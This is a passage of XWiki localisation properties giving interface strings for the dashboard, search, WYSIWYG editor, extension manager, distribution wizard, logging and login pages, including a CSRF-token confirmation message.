edited using this visual editor, please use the object editor to edit this gadget.\ndashboard.gadget.actions.edit.error.notmacro.title=Edit gadget parameters\ndashboard.gadget.actions.drop=You can drop gadgets here\ndashboard.gadget.actions.edit.loading=Saving gadget configuration...\ndashboard.gadget.actions.edit.failed=Failed to save gadget configuration:\ndashboard.actions.save.loading=Saving dashboard changes...\ndashboard.actions.edit.failed=Failed to save dashboard configuration:\ndashboard.actions.edit.differentsource.information=You are editing a dashboard defined in a different page,\ndashboard.actions.edit.differentsource.warning=. Your changes will impact all the pages using that dashboard configuration. If you want to customize only this page, edit this page in WYSIWYG mode and configure the dashboard macro with an empty source parameter.\ndashboard.actions.add.button=Add Gadget\ndashboard.actions.add.tooltip=Add a new gadget to this dashboard\ndashboard.actions.add.loading=Adding the gadget...\ndashboard.actions.add.failed=Failed to add gadget:\ndashboard.actions.columns.add.button=Add column\ndashboard.actions.columns.add.tooltip=Add a new column in this dashboard, at the end", "### Search application resources\nadmin.searchsuggest=Search Suggest\nadmin.searchsuggest.description=Configure the search suggest options.\nadmin.search=Search\nadmin.search.description=Choose the default search engine or configure the search index.\nsearch.admin.title=Search\nsearch.admin.configuration.seexwikicfg=See xwiki.cfg file for more configurations options.\nsearch.admin.configuration.button=Save\nsearch.extension.title.database=Database\nsearch.extension.title.solr=Solr\nXWiki.SearchConfigClass_engine=Default search engine\nsearch.page.title.query=Search: {0}\nsearch.page.title.noquery=Search\nsearch.page.bar.spaces.title=Location\nsearch.page.bar.wikis.all=All wikis\nsearch.page.bar.query.tip=search...\nsearch.page.bar.query.title=Enter your search query\nsearch.page.bar.querytip=e.g. xwiki* AND \"search query\"\nsearch.page.bar.submit=Search\nsearch.page.bar.submit.title=Search query\nsearch.page.database.title.query=Database Search: {0}\nsearch.page.database.title.noquery=Database Search\nsearch.page.results=Results\nsearch.page.results.page=Page\nsearch.page.results.space=Space\nsearch.page.results.wiki=Wiki\nsearch.page.results.date=Date\nsearch.page.results.author=Last Author\nsearch.page.results.score=Score\nsearch.page.results.actions=Actions\nsearch.page.results.newcomment=- 1 new comment\nsearch.page.results.noResults=Your search did not match any pages.\nsearch.page.noimplementation=There's no Search UI Extension available in your wiki. Please contact your Administrator.\nsearch.item.locatedIn=Located in\nsearch.item.modified=Modified by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nsearch.item.posted=Posted by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nsearch.item.rating.title=Rating\nsearch.item.relevance.title=Relevance\nsearch.item.type.comment.title=Comment\nsearch.item.type.attachment.title=Attachment\nsearch.item.type.author.title=Author\nsearch.item.type.page.title=Page\nsearch.item.type.wiki.title=Wiki\nsearch.item.type.space.title=Space\nsearch.rss=RSS feed for search on {0}\nplatform.search.suggestSources=Sources\nplatform.search.suggestSources.hint=Search suggest results are aggregated from multiple sources. The sources are grouped by the search engine they use. Each source is configured to match a specific thing (e.g. the page name). Only the sources that are active and that use the current search engine contribute results to the search suggest.\nplatform.search.suggestAddNewSource=Add a new source\nplatform.search.suggestNewSourceName=New Source\nplatform.search.suggestSourceDocumentTitle=Page titles\nplatform.search.suggestSourceDocumentContent=Page content\nplatform.search.suggestSourceAttachmentName=Attachment names\nplatform.search.suggestSourceAttachmentContent=Attachment content\nplatform.search.suggestSourceBlogPost=Blog posts\nplatform.search.suggestSourceWikis=Wikis\nplatform.search.suggestSourceUsers=Users\nplatform.search.suggestConfigSaveComment=Updated the search suggest configuration from the Administration\nplatform.search.suggestResultLocatedIn=in", "XWiki.SearchSuggestConfig_activated=Activated\nXWiki.SearchSuggestConfig_activated.hint=Whether the search suggest is active or not.", "XWiki.SearchSuggestSourceClass_name=Name\nXWiki.SearchSuggestSourceClass_name.hint=The name used to group search results taken from this source. It can be a translation key.\nXWiki.SearchSuggestSourceClass_engine=Engine\nXWiki.SearchSuggestSourceClass_engine.hint=The search engine used to retrieve the results. This source is ignored if the current wiki is configured to use a different search engine.\nXWiki.SearchSuggestSourceClass_url=Service\nXWiki.SearchSuggestSourceClass_url.hint=The search suggest service. It can be either a page reference or an external URL.\nXWiki.SearchSuggestSourceClass_query=Query\nXWiki.SearchSuggestSourceClass_query.hint=The query that is passed to the search suggest service. It must contain a __INPUT__ placeholder for the searched text.\nXWiki.SearchSuggestSourceClass_resultsNumber=Limit\nXWiki.SearchSuggestSourceClass_resultsNumber.hint=The maximum number of search results taken from this source.\nXWiki.SearchSuggestSourceClass_icon=Icon\nXWiki.SearchSuggestSourceClass_icon.hint=The icon used to mark search results taken from this source. E.g. icon:user\nXWiki.SearchSuggestSourceClass_highlight=Highlight\nXWiki.SearchSuggestSourceClass_highlight.hint=Highlight the searched text in the search suggest results.\nXWiki.SearchSuggestSourceClass_activated=Activated\nXWiki.SearchSuggestSourceClass_activated.hint=Whether this source is used or not (as long as the source search engine matches the search engine used by the current wiki).", "### CSRFToken resources\ncsrf.confirmation=<p>This request contains an invalid authentication information.</p><p>This might happen in the following situations:</p><ul><li>You left the editor open in another window/tab and logged off and on again</li><li>Your authentication token expired after a long period of inactivity</li><li>Somebody tried to perform a CSRF attack</li></ul><p>If you are sure that none of these situations apply in your case, you might have found a bug. We are sorry about that, please report it on <a href=\"http://jira.xwiki.org/\">XWiki JIRA</a></p><p>Do you want to resend the request? If unsure, say <strong>No</strong>.</p>", "### Extension Manager application resources\nadmin.extensions=Extension Manager", "### WYSIWYG content editor administration section resources\nadmin.wysiwyg=WYSIWYG Editor\nwysiwyg.config.title=WYSIWYG Editor Configuration Panel\nwysiwyg.config.class.title=WYSIWYG Editor Configuration Class\nwysiwyg.config.sheet.title=WYSIWYG Editor Configuration Class Sheet\nwysiwyg.config.template.title=WYSIWYG Editor Configuration Template\nwysiwyg.admin.general=General settings\nwysiwyg.admin.sourceEditorEnabled.hint=Enable or disable the WYSIWYG/Source tabs.\nwysiwyg.admin.plugins.hint=The list of plugins that are loaded by the WYSIWYG editor. You can change the order in which they are loaded by drag and drop. You can also add new plugins to the list or remove existing ones.\nwysiwyg.admin.plugins.add.hint=Add plugin..\nwysiwyg.admin.menuBar.hint=The list of entries on the WYSIWYG editor menu bar. You can change their order by drag and drop. You can also add new entries on the menu bar or remove existing ones. Each menu bar entry is provided by a plugin and is displayed only if that plugin is loaded.\nwysiwyg.admin.menuBar.add.hint=Add entry..\nwysiwyg.admin.toolBar.hint=The list of features available on the WYSIWYG editor tool bar. You can change their order by drag and drop. You can also add new features on the tool bar or remove existing ones. Each tool bar feature is provided by a plugin and is displayed only if that plugin is loaded.\nwysiwyg.admin.toolBar.add.hint=Add feature..\nwysiwyg.admin.plugin.settings.hint=The following settings are taken into account only if the {0} plugin is loaded.\nwysiwyg.admin.cleanPaste.hint=Enable if you want the content that is pasted into the rich text area to be cleaned automatically. The cleaning process implies fixing HTML validity (e.g. by removing elements that are custom to some office document formats) and also filtering text styles like font, color, alignment or margins. Content structure like heading levels, paragraphs, list or tables are preserved. Semantic text styles like strong, emphasize, underline or strikethrough are also preserved. You can still clean the paste content when this option is disabled if you have the paste icon on the tool bar, but you have to trigger the clean manually.\nwysiwyg.admin.link=Link settings\nwysiwyg.admin.attachmentSelectionLimited.hint=When creating a link to an attachment allow the user to choose only from the attachments of the edited page.\nwysiwyg.admin.image=Image settings\nwysiwyg.admin.externalImages.hint=Allow users to insert external images, i.e. images that are not attached to a wiki page.\nwysiwyg.admin.imageSelectionLimited.hint=When inserting an image allow the user to choose only from the list of images attached to the edited page.\nwysiwyg.admin.color=Color settings\nwysiwyg.admin.colorsPerRow.hint=The number of colors to display per row in the color picker.\nwysiwyg.admin.colorPalette.hint=The colors available in the color picker. You can change any color by clicking on it.\nwysiwyg.admin.font=Font settings\nwysiwyg.admin.fontNames.hint=The list of font names available in the font picker. You can add new font names or remove existing ones.\nwysiwyg.admin.fontNames.add.hint=Add font name..\nwysiwyg.admin.fontSizes.hint=The list of font sizes available in the font picker. You can change their order by drag and drop. You can also add new font sizes or remove existing ones.\nwysiwyg.admin.fontSizes.add.hint=Add font size..\nwysiwyg.admin.style=Style settings\nwysiwyg.admin.styleNames.hint=The list of style names available in the style picker. You can also add new style names or remove/edit existing ones.\nwysiwyg.admin.widgets.sortableList.hint=Drag and drop to change the order\nwysiwyg.admin.widgets.sortableList.add=Add\nwysiwyg.admin.widgets.sortableList.delete=Delete\nwysiwyg.admin.widgets.colorPaletteEditor.hint=Click to change the color\nwysiwyg.admin.widgets.colorPaletteEditor.rows=Rows\nwysiwyg.admin.widgets.colorPaletteEditor.columns=Columns\nwysiwyg.admin.widgets.colorPaletteEditor.refresh=Refresh\nwysiwyg.admin.widgets.listBox.add=Add\nwysiwyg.admin.widgets.listBox.delete=Delete\nwysiwyg.admin.widgets.styleNamesEditor.blockStyles=Block Styles\nwysiwyg.admin.widgets.styleNamesEditor.inlineStyles=Inline Styles\nwysiwyg.admin.widgets.styleNamesEditor.styleName=Style name\nwysiwyg.admin.widgets.styleNamesEditor.styleLabel=Style label\nwysiwyg.admin.widgets.styleNamesEditor.styleInline=Inline style\nwysiwyg.admin.widgets.styleNamesEditor.add=Add\nwysiwyg.admin.saveComment=Updated the WYSIWYG Editor configuration from the Administration", "### Link Checker Application Resources\nplatform.linkchecker.indexTab=External Links\nplatform.linkchecker.livetable.link=Link\nplatform.linkchecker.livetable.page=Page\nplatform.linkchecker.livetable.code=State\nplatform.linkchecker.livetable.date=Last Checked", "### Dashboard Application Resources\nplatform.dashboard.user.preferences=Dashboard preferences\nplatform.dashboard.user.displayOnMainPage=Replace the default dashboard with my custom dashboard\nplatform.dashboard.wiki=Dashboard\nplatform.dashboard.wiki.pages=Pages\nplatform.dashboard.wiki.tagcloud=Tags\nplatform.dashboard.wiki.activity=Activity Stream\nplatform.dashboard.wiki.messageSender=Send Message\nplatform.dashboard.wiki.personal.empty.edit=edit the dashboard section in your profile\nplatform.dashboard.wiki.personal.empty=Your dashboard is currently empty. You can {0} to configure it. In the mean time, the default dashboard is displayed below.\nplatform.dashboard.space=Dashboard for space {0}\nplatform.dashboard.space.activity=Activity Stream for {0}\nplatform.dashboard.space.documents=Pages in {0}\nplatform.dashboard.space.remainingDocumentsInSpace=and {0} {0,choice,1#more page|1<more pages} in space {1}\nplatform.dashboard.space.visitSpaceIndex=visit the Space Index to see the full list\nplatform.dashboard.space.tagcloud=Tags for {0}\nplatform.dashboard.space.templateName=Dashboard", "### Extension Manager\nextensions.actions.showDetails=Show details\nextensions.actions.hideDetails=Hide details\nextensions.actions.install=Install\nextensions.actions.uninstall=Uninstall\nextensions.actions.upgrade=Upgrade\nextensions.actions.downgrade=Downgrade\nextensions.actions.installGlobally=Install on farm\nextensions.actions.uninstallGlobally=Uninstall from farm\nextensions.actions.upgradeGlobally=Upgrade on farm\nextensions.actions.downgradeGlobally=Downgrade on farm\nextensions.actions.back=Back to list\nextensions.actions.continue=Continue\nextensions.actions.diff=Show changes\nextensions.actions.repairXAR=Repair\nextensions.actions.repairXAR.hint=Mark this XAR extension as installed without importing its wiki pages\nextensions.actions.diffXAR=Compute changes\nextensions.actions.diffXAR.hint=Compute the changes made to the extension pages\nextensions.actions.repair=Repair\nextensions.actions.repairGlobally=Repair on farm\nextensions.install.title=Installing {0}\nextensions.install.error.installFailure=Failed to install extension with id {0} and version {1}:\nextensions.install.error.prepareFailure=Can''t resolve extension with id {0} and version {1}:\nextensions.install.error.alreadyInstalled=This extension is already installed.\nextensions.install.error.diffXarFailure=Failed to compute the changes made to the extension pages.\nextensions.install.list.install=The following new extensions will be installed:\nextensions.install.list.upgrade=The following extensions will be upgraded:\nextensions.install.list.downgrade=The following extensions will be downgraded:\nextensions.install.list.uninstall=The following extensions will be removed:\nextensions.install.list.repair=The following extensions will be repaired:\nextensions.install.list.top=The following extensions dependencies will be made top level:\nextensions.upgrade.mergeConflict.label=Merge conflict\nextensions.upgrade.mergeConflict.hint=The page {0} has changes that could be overwritten during the upgrade.\nextensions.upgrade.mergeConflict.versionToKeep.next=Keep the new version of the page (all your changes will be overwritten)\nextensions.upgrade.mergeConflict.versionToKeep.merged=Keep the merged version of the page (some of your changes could be overwritten)\nextensions.upgrade.mergeConflict.versionToKeep.current=Keep the current version of the page (the extension might not work properly after the upgrade)\nextensions.upgrade.mergeConflict.autoResolve=Resolve automatically\nextensions.upgrade.mergeConflict.autoResolve.hint=Resolve all the remaining merge conflicts automatically by choosing the same page version as now.\nextensions.upgrade.mergeConflict.changes.title=Changes for page {0}\nextensions.upgrade.mergeConflict.changes.original=Compare\nextensions.upgrade.mergeConflict.changes.revised=with\nextensions.upgrade.mergeConflict.changes.versionToCompare.previous=Previous version\nextensions.upgrade.mergeConflict.changes.versionToCompare.current=Current version\nextensions.upgrade.mergeConflict.changes.versionToCompare.next=New version\nextensions.upgrade.mergeConflict.changes.versionToCompare.merged=Merged version\nextensions.uninstall.title=Uninstalling {0}\nextensions.uninstall.error.uninstallFailure=Failed to uninstall extension with id {0} and version {1}:\nextensions.uninstall.error.prepareFailure=Failed to prepare uninstalling extension with id {0} and version {1}:\nextensions.uninstall.error.notInstalled=This extension is not installed.\nextensions.uninstall.cleanPages.label=Delete unused wiki pages?\nextensions.uninstall.cleanPages.hint=The following wiki pages are not needed any more so it should be safe to delete them. Unselect the ones that you wish to keep. The wiki pages that have modifications are left unselected so that you don't loose your changes. Select them if those changes are not important.\nextensions.uninstall.cleanPages.selectedCount={0} / {1} pages selected\nextensions.search.submit=Search\nextensions.search.tip=search extension...\nextensions.search.all.label=All Extensions\nextensions.search.recommended.label=Recommended\nextensions.search.recommended.tooltip=Only show extensions explicitly tagged as recommended\nextensions.search.recommended.fallback=No recommended extension could be found matching ''{0}'', displaying results of the search in all extensions.\nextensions.search.indexed.label=Indexed\nextensions.search.indexed.tooltip=Search extensions in the local index or directly on the configured extensions repositories\nextensions.search.indexed.disclaimer=This only includes indexed extensions.\nextensions.search.indexed.started=Index started on {0}.\nextensions.search.indexed.on=Indexed on {0}.\nextensions.search.indexed.nojob=Could not find any previous indexation processing.\nextensions.search.indexed.reindex=Reindex\nextensions.search.indexed.refresh=Refresh\nextensions.search.compatible.label=Compatible\nextensions.search.compatible.tooltip=Show only compatible extensions in the current context\nextensions.search.repository.remote.label=Available Extensions\nextensions.search.repository.core.label=Core extensions\nextensions.search.repository.core.empty=There are no core extensions.\nextensions.search.repository.installed.label=Installed extensions\nextensions.search.repository.installed.empty=There are no extensions installed.\nextensions.search.repository.local.label=Local extensions\nextensions.search.repository.local.empty=There are no local extensions.\nextensions.search.noResults=There were no extensions found matching ''{0}''. Try different keywords.\\nAlternatively, if you know the identifier and the version of the extension you''re looking for, you can use the Advanced Search form above.\nextensions.advancedSearch.title=Advanced search\nextensions.advancedSearch.id.label=Extension ID\nextensions.advancedSearch.version.label=Version\nextensions.advancedSearch.actions.submit=Search\nextensions.advancedSearch.actions.cancel=Cancel\nextensions.advancedSearch.noResults=We couldn''t find any extension with id ''{0}'' and version ''{1}''. Make sure you have the right extension repositories configured.\nextensions.info.authors=by:\nextensions.info.recommended=Recommended\nextensions.info.authors.xwikiorg=XWiki Development Team\nextensions.info.category.description=Description\nextensions.info.category.releaseNotes=Release Notes\nextensions.info.category.dependencies=Dependencies\nextensions.info.category.changes=Changes\nextensions.info.category.progress=Progress\nextensions.info.id=Id\nextensions.info.type=Type\nextensions.info.license={0,choice,0#Unknown license|1#License|1<Licenses}\nextensions.info.features={0,choice,0#No features|1#Feature|1<Features}\nextensions.info.repository=Repository\nextensions.info.website=Website\nextensions.info.scm=Sources\nextensions.info.issueManagement=Issues\nextensions.info.globalNamespace=global namespace\nextensions.info.namespaces.global=Installed globally\nextensions.info.namespaces.list=Installed on the following namespaces\nextensions.info.installedBy=Installed by {0} on {1}\nextensions.info.installedGloballyBy=Installed globally by {0} on {1}\nextensions.info.installedOnNamespaceBy={0}, by {1} on {2}\nextensions.info.dependencies.directDependencies={0,choice,0#|0<This extension depends on:}\nextensions.info.dependencies.backwardDependencies={0,choice,0#|0<This extension is required by:}\nextensions.info.dependency.wiki=(in wiki {0})\nextensions.info.fetch.failed=Failed to retrieve extension data.\nextensions.info.fetch.unauthorized=Unauthorized request. Your session has expired or you lost rights while installing or uninstalling an extension. You need to re-login in order to continue. Do you wish to proceed?\nextensions.info.status.core=Provided\nextensions.info.status.installed=Installed\nextensions.info.status.installed-dependency=Installed as dependency\nextensions.info.status.installed-invalid=Installed but not valid\nextensions.info.status.remote-core=Version {0} is provided\nextensions.info.status.remote-core-incompatible=Incompatible with provided version {0}\nextensions.info.status.remote-installed=Version {0} is installed\nextensions.info.status.remote-installed-dependency=Version {0} is installed as dependency\nextensions.info.status.remote-installed-incompatible=Incompatible with installed version {0}\nextensions.info.status.remote-installed-invalid=Installed version {0} is not valid\nextensions.info.stableVersions.linkLabel=List stable versions\nextensions.info.stableVersions.label=Stable Versions\nextensions.info.stableVersions.noResults=There are no stable versions available.\nextensions.applicationsPanel.install=Install new applications\nextensions.xar.changes.reset.button=Reset\njob.log.label.install=Install log\njob.log.label.installplan=Install plan log\njob.log.label.uninstall=Uninstall log\njob.log.label.uninstallplan=Uninstall plan log", "platform.extension.info.error.versionNotCompatible=This version is not compatible with your installation.\nplatform.extension.info.error.versionNotCompatibleHint=Search for a compatible version by going through the list of \"Stable Versions\" located in the extension's \"Description\" tab.", "platform.extension.updater.checkForUpdates=Check for updates\nplatform.extension.updater.checkForUpdatesGlobally=Check for updates on farm\nplatform.extension.updater.lastCheckDate=The last time you checked for updates was on {0}.\nplatform.extension.updater.loading=Checking for updates...\nplatform.extension.updater.noUpdatesAvailable=All extensions are up to date.\nplatform.extension.updater.createUpgradePlanFailure=Failed to create the upgrade plan.\nplatform.extension.updater.invalidExtensionsLabel=Invalid extensions\nplatform.extension.updater.invalidExtensionsHint=The following extensions from {0} have to be upgraded or downgraded in order to work with your current distribution:\nplatform.extension.updater.outdatedExtensionsLabel=Outdated extensions\nplatform.extension.updater.outdatedExtensionsHint=The following extensions from {0} can be upgraded:\nplatform.extension.updater.pagingrestart=The list of extensions has been changed; showing first page of the changed list.", "platform.extension.distributionWizard.stepHeading={0,choice,0#|0<Step {0} - } {1}\nplatform.extension.distributionWizard.unknownStepError=Unknown step\nplatform.extension.distributionWizard.continueLabel=Continue\nplatform.extension.distributionWizard.skipLabel=Later\nplatform.extension.distributionWizard.skipHint=Ask me again after XWiki is restarted\nplatform.extension.distributionWizard.replayLabel=Replay recorded actions\nplatform.extension.distributionWizard.replayHint=Upload an extension history file and replay the recorded actions\nplatform.extension.distributionWizard.cancelLabel=Never\nplatform.extension.distributionWizard.cancelHint=I can do this by myself, I don't want to use the wizard\nplatform.extension.distributionWizard.cancelConfirmation=Are you sure you don't want to use the wizard? If you don't know how to do this by yourself then you should continue with the wizard. You won't be able to get back the wizard easily otherwise.", "platform.extension.distributionWizard.welcomeStepTitle=Distribution Wizard\nplatform.extension.distributionWizard.welcomeStepDescription=This wizard will guide you through the process of installing, upgrading or downgrading the XWiki distribution. You are seeing this wizard for one of the following reasons:{0}the default wiki pages recommended for the current version of the XWiki runtime are not installed{1}the version of the XWiki runtime has changed.\nplatform.extension.distributionWizard.welcomeStepStepsHint=The following steps are required in order to complete the XWiki installation:\nplatform.extension.distributionWizard.welcomeStepActionsHint=If you haven't finished configuring XWiki then you can choose to do the installation later. The wizard will reappear after the XWiki runtime is restarted. Although we don't recommend it, you can also do the installation by yourself, but note that you won't be able to get the wizard back easily if you choose to do so. Continue to the next step if you wish to perform the install now. Whatever you choose, after the wizard is closed you will be redirected back to the page you have requested.", "platform.extension.distributionWizard.reportStepTitle=Report\nplatform.extension.distributionWizard.reportStepDescription=The installation is now finished. Here is a report of what happened during the process.\nplatform.extension.distributionWizard.reportStepDocumentsDescription=Various steps of the Distribution Wizard are modifying pages of the wikis. The following tree contains all the pages that have been created, modified or deleted page during the installation.\nplatform.extension.distributionWizard.reportStepDocumentsTitle=Pages\nplatform.extension.distributionWizard.reportStepDocumentsNoChange=No pages were modified during this Distribution Wizard.\nplatform.extension.distributionWizard.reportStepDocumentsDefaultLanguage=Default language\nplatform.extension.distributionWizard.reportStepDocumentDeletedSuccess=Successfully deleted page {0}\nplatform.extension.distributionWizard.reportStepDocumentRestoredSuccess=Successfully restored page {0}\nplatform.extension.distributionWizard.reportStepDocumentRollbackedSuccess=Successfully rollbacked page {0} to version {1}", "platform.extension.distributionWizard.firstadminuserStepTitle=Admin user\nplatform.extension.distributionWizard.firstadminuserStepSummary=Make sure to create a user with administrative right\nplatform.extension.distributionWizard.firstadminuserStepDescription=You need a user with administrative right to install the wiki. This step will help you register and authenticate one for you.\nplatform.extension.distributionWizard.firstadminuser.registerAndLogin=Register and login\nplatform.extension.distributionWizard.firstadminuser.success.connected=You are connected with user {0}.\nplatform.extension.distributionWizard.firstadminuser.error.emptyUserName=Empty user name is not allowed.\nplatform.extension.distributionWizard.firstadminuser.error.emptyPassword=Empty password is not allowed.\nplatform.extension.distributionWizard.firstadminuser.error.passwordMismatch=The passwords do not match.", "platform.extension.distributionWizard.eventmigrationStepTitle=Events migration\nplatform.extension.distributionWizard.eventmigrationStepSummary=Copy events from the legacy event store to the new one\nplatform.extension.distributionWizard.eventmigrationStepDescription=XWiki switched to a new store for events (notifications) in 12.6. Since copying events can be a long process for old wikis with a log of events and keeping them is not always desired the choice of doing it is left to the wiki administrator. Not copying them imply that any previous notification will seems to have disappeared. The migration is executed in the background and you don't need to wait for it to be finished before going to the next step.\nplatform.extension.distributionWizard.eventmigration.alltime=All time\nplatform.extension.distributionWizard.eventmigration.since=Since\nplatform.extension.distributionWizard.eventmigration.startMigration=Start migration", "platform.extension.distributionWizard.extension.defaultuiStepTitle=User Interface\nplatform.extension.distributionWizard.extension.defaultuiStepSummary=Install the default set of wiki pages recommended for the current version of the XWiki runtime\nplatform.extension.distributionWizard.uiStepNoStateError=Can't get any information about the distribution.\nplatform.extension.distributionWizard.uiStepDescription=The user interface is a set of wiki pages that provide high level features on top of the XWiki runtime. These wiki pages are grouped by features into applications such as blog, activity stream, dashboard. Applications are packaged as extensions installable with the Extension Manager.\nplatform.extension.distributionWizard.uiStepDistributionLabel=Distribution\nplatform.extension.distributionWizard.uiStepDistributionHint=The following distribution has been detected:\nplatform.extension.distributionWizard.uiStepUILabel=User Interface\nplatform.extension.distributionWizard.uiStepUIHint=The following user interface is recommended for your distribution:\nplatform.extension.distributionWizard.uiStepInternetAccessWarning=The installation process requires internet access and it might take a few minutes to complete depending on the internet bandwidth and the load of the remote extension repository. Thank you for your patience.\nplatform.extension.distributionWizard.uiStepUIUnspecifiedError=The detected distribution doesn't specify a default user interface.", "platform.extension.distributionWizard.uiStepPreviousUIUpgradeQuestion=Are you performing an upgrade? There are currently {0} pages in the database which indicates this is not a new install. Unfortunately we couldn''t determine what version of the user interface was previously installed, most probably because you are upgrading from an old version that didn''t have the distribution manager available.\nplatform.extension.distributionWizard.uiStepPreviousUIUpgradeYesLabel=Yes, this is an upgrade\nplatform.extension.distributionWizard.uiStepPreviousUIUpgradeNoLabel=No, this is a new install\nplatform.extension.distributionWizard.uiStepPreviousUIFormHint=Do you know what version of the user interface was previously installed? This would allow us to merge automatically the pages from your database with those from the new version of the user interface. You can still perform the upgrade even if you don't know the previous version but you may have to manually resolve a lot of merge conflicts.\nplatform.extension.distributionWizard.uiStepPreviousUIIdLabel=Previous user interface id\nplatform.extension.distributionWizard.uiStepPreviousUIIdHint=The id should normally have the following format: groupId:artifactId where the group id and the artifact id correspond to the Maven project that generated the XAR. Example: {0}\nplatform.extension.distributionWizard.uiStepPreviousUIVersionLabel=Previous version\nplatform.extension.distributionWizard.uiStepPreviousUIVersionListHint=Select the version from the following list. If your version is not in the list then click on the pencil icon to type your version.\nplatform.extension.distributionWizard.uiStepPreviousUIVersionHint=Examples:\nplatform.extension.distributionWizard.uiStepPreviousUIAdvancedInputHint=Edit\nplatform.extension.distributionWizard.uiStepPreviousUISubmitLabel=Yes, this is it\nplatform.extension.distributionWizard.uiStepPreviousUICancelLabel=I don't know\nplatform.extension.distributionWizard.uiStepPreviousUIRequestFailed=Request failed.\nplatform.extension.distributionWizard.uiStepPreviousUIHint=You indicated the following user interface as being previously installed:\nplatform.extension.distributionWizard.uiStepPreviousUIRepairLabel=Repair\nplatform.extension.distributionWizard.uiStepPreviousUIRepairHint=Register this XAR extension in the installed extensions index", "platform.extension.distributionWizard.extension.defaultui.wikisStepTitle=Wikis\nplatform.extension.distributionWizard.extension.defaultui.wikisStepSummary=Update the default set of wiki pages on each of the existing wikis (except for the main wiki which is handled in the first step).\nplatform.extension.distributionWizard.wikisStepDescription=The following wikis have been detected. You can update the default set of wiki pages on all of them now by installing the user interface version recommended below, or you can do this later by accessing each wiki separately.", "platform.extension.distributionWizard.extension.flavorStepTitle=Flavor\nplatform.extension.distributionWizard.extension.flavorStepSummary=Install or update the flavor of this wiki\nplatform.extension.distributionWizard.flavorStepDescription=The flavor is a set of wiki pages that provide high level features on top of the XWiki runtime. These wiki pages are grouped by features into applications such as blog, activity stream, dashboard. Applications are packaged as extensions installable with the Extension Manager.\nplatform.extension.distributionWizard.flavorStepDistributionLabel=Distribution\nplatform.extension.distributionWizard.flavorStepDistributionHint=The following distribution has been detected:\nplatform.extension.distributionWizard.flavorStepCurrentFlavorLabel=The currently installed flavor\nplatform.extension.distributionWizard.flavorStepCurrentFlavorHint=This is the flavor that was chosen during the previous install (or upgrade). It often need to be upgraded to be in sync with the new distribution.\nplatform.extension.distributionWizard.flavorStepCurrentFlavorInvalidError=The current flavor is not compatible with the current distribution.\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeLabel=Try to find a valid version\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeHint=Let's try to find a different version of the same flavor that would be compatible with the current distribution.\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorOrInstallNewLabel=Or install a new flavor\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorOrInstallNewHint=If you want to use a different flavor or the current flavor is not maintained anymore and don't have more compatible candidate you can select one of the available flavors.\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorInstallNewLabel=Install a new flavor\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorInstallNewHint=Choose one of the valid flavors found in the configured repositories\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorNoUpgradeError=Could not find any valid version for flavor \"{0}\".\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeKnownLabel=Upgrade the flavor\nplatform.extension.distributionWizard.flavorStepInvalidCurrentFlavorUpgradeKnownHint=Here is the version of the current flavor corresponding to the current distribution.\nplatform.extension.distributionWizard.flavorStepNewFlavorLabel=Install a new flavor\nplatform.extension.distributionWizard.flavorStepSelectOtherFlavor=Select other flavor\nplatform.extension.distributionWizard.flavorStepConfirm=You are about to install the following flavor, please confirm or select an other flavor.\nplatform.extension.distributionWizard.flavorStepNoFlavorConfirm=You have chosen to let the wiki be empty, please confirm or go back.\nplatform.extension.distributionWizard.flavorStepNoFlavorBack=Back and select a flavor\nplatform.extension.distributionWizard.flavorStep=", "platform.extension.distributionWizard.extension.flavor.wikisStepTitle=Wikis\nplatform.extension.distributionWizard.extension.flavor.wikisStepSummary=Update the flavor on each of the existing wikis that needs it (except for the main wiki which is handled in the first step).\nplatform.extension.distributionWizard.wikiflavorsStepDescription=The following wikis have been detected. You can update the flavor on all of them now or you can do this later by accessing each wiki separately.", "platform.extension.distributionWizard.extension.outdatedextensionsStepTitle=Extensions\nplatform.extension.distributionWizard.extension.outdatedextensionsStepSummary=Update the installed extensions\nplatform.extension.distributionWizard.extensionsStepDescription=Extensions provide additional features on top of the XWiki runtime. They are commonly distributed as XARs (e.g. {0}XWiki applications{1}, {2}wiki macros{3}, {4}color themes{5}) and JARs (server side code including especially {6}components{7} and {8}script services{9}).", "platform.extension.distributionWizard.extension.cleanStepTitle=Orphaned dependencies\nplatform.extension.distributionWizard.extension.cleanStepSummary=Make sure orphaned extension dependencies are either removed or made top level.\nplatform.extension.distributionWizard.extension.cleanStep.noOrphaned=No orphaned dependency could be found in that instance.\nplatform.extension.distributionWizard.extension.cleanStep.orphaned=The following extensions have been installed as dependencies and are no longer required. You can either uninstall them (checked) or make them top level extensions if you still need them (unchecked).\nplatform.extension.distributionWizard.extension.cleanStep.button.cleanapply=Continue\nplatform.extension.distributionWizard.extension.cleanStep.button.cleanapplyfinalize=Continue\nplatform.extension.distributionWizard.extension.cleanStep.button.cleanapplyreport=Continue\nplatform.extension.distributionWizard.extension.cleanStep.button.back=Back\nplatform.extension.distributionWizard.extension.cleanStep.apply.title=Apply\nplatform.extension.distributionWizard.extension.cleanStep.report.uninstalled=The following extensions have been uninstalled:\nplatform.extension.distributionWizard.extension.cleanStep.report.top=The following extensions have been made top level:\nplatform.extension.distributionWizard.extension.cleanStep.uninstall.finish.error=Failed to uninstall orphaned extensions\nplatform.extension.distributionWizard.extension.cleanStep.uninstall.finish.warning=The orphaned extensions have been successfully uninstalled but unexpected errors where logged during the process\nplatform.extension.distributionWizard.extension.cleanStep.uninstall.finish.success=The orphaned extensions have been successfully uninstalled", "### Logging Application Resources\nadmin.logging=Logging\nadmin.logging.description=Review and modify the log level associated to a registered logger.\nlogging.admin.intro=Here you can review and modify the log level associated to a registered logger. <default> or empty log level means that the logger inherits from its parent logger which is the package prefix when it's a package or the default level in the logger implementation configuration if there is no parent.\nlogging.admin.livetable.actions.set=Set\nlogging.admin.livetable.logger=Logger\nlogging.admin.livetable.level=Level\nlogging.admin.livetable.actions=Actions", "## Login Form\nplaform.web.login.forgotUserNameOrPassword=Forgot your {0}username{1} or {2}password{3}?", "## 